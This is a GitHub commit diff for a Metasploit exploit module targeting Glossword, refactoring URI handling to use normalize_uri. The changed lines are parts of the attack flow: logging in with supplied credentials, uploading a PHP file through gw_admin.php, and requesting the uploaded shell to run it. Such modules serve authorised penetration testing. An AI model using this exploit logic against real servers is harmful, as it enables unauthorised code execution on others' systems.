Skip to content

Commit 52241b8

Browse files
committed
Uses normalize_uri instead of manually adding a slash
1 parent d7c0ce4 commit 52241b8

File tree

1 file changed

+4
-6
lines changed

1 file changed

+4
-6
lines changed

modules/exploits/multi/http/glossword_upload_exec.rb

Lines changed: 4 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,6 @@ def initialize(info={})
5151
def check
5252

5353
base = target_uri.path
54-
base << '/' if base[-1, 1] != '/'
5554
peer = "#{rhost}:#{rport}"
5655
user = datastore['USERNAME']
5756
pass = datastore['PASSWORD']
@@ -105,7 +104,7 @@ def upload(base, sid, fname, file)
105104

106105
res = send_request_cgi({
107106
'method' => 'POST',
108-
'uri' => "#{base}gw_admin.php",
107+
'uri' => normalize_uri(base, 'gw_admin.php'),
109108
'ctype' => "multipart/form-data; boundary=#{data.bound}",
110109
'data' => data_post,
111110
})
@@ -117,7 +116,7 @@ def login(base, user, pass)
117116

118117
res = send_request_cgi({
119118
'method' => 'POST',
120-
'uri' => "#{base}gw_login.php",
119+
'uri' => normalize_uri(base, 'gw_login.php'),
121120
'data' => "arPost%5Buser_name%5D=#{user}&arPost%5Buser_pass%5D=#{pass}&arPost%5Blocale_name%5D=en-utf8&a=login&sid=&post=Enter"
122121
})
123122
return res
@@ -127,7 +126,6 @@ def login(base, user, pass)
127126
def exploit
128127

129128
base = target_uri.path
130-
base << '/' if base[-1, 1] != '/'
131129
@peer = "#{rhost}:#{rport}"
132130
@fname= rand_text_alphanumeric(rand(10)+6) + '.php'
133131
user = datastore['USERNAME']
@@ -163,7 +161,7 @@ def exploit
163161
begin
164162
res = send_request_cgi({
165163
'method' => 'GET',
166-
'uri' => "#{base}gw_admin.php?a=edit-own&t=users",
164+
'uri' => normalize_uri(base, 'gw_admin.php?a=edit-own&t=users'),
167165
'cookie' => "sid#{token}=#{sid}"
168166
})
169167
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
@@ -182,7 +180,7 @@ def exploit
182180
begin
183181
send_request_cgi({
184182
'method' => 'GET',
185-
'uri' => "#{base}#{shell_uri}",
183+
'uri' => normalize_uri(base, shell_uri),
186184
})
187185
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
188186
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")

0 commit comments

Comments
 (0)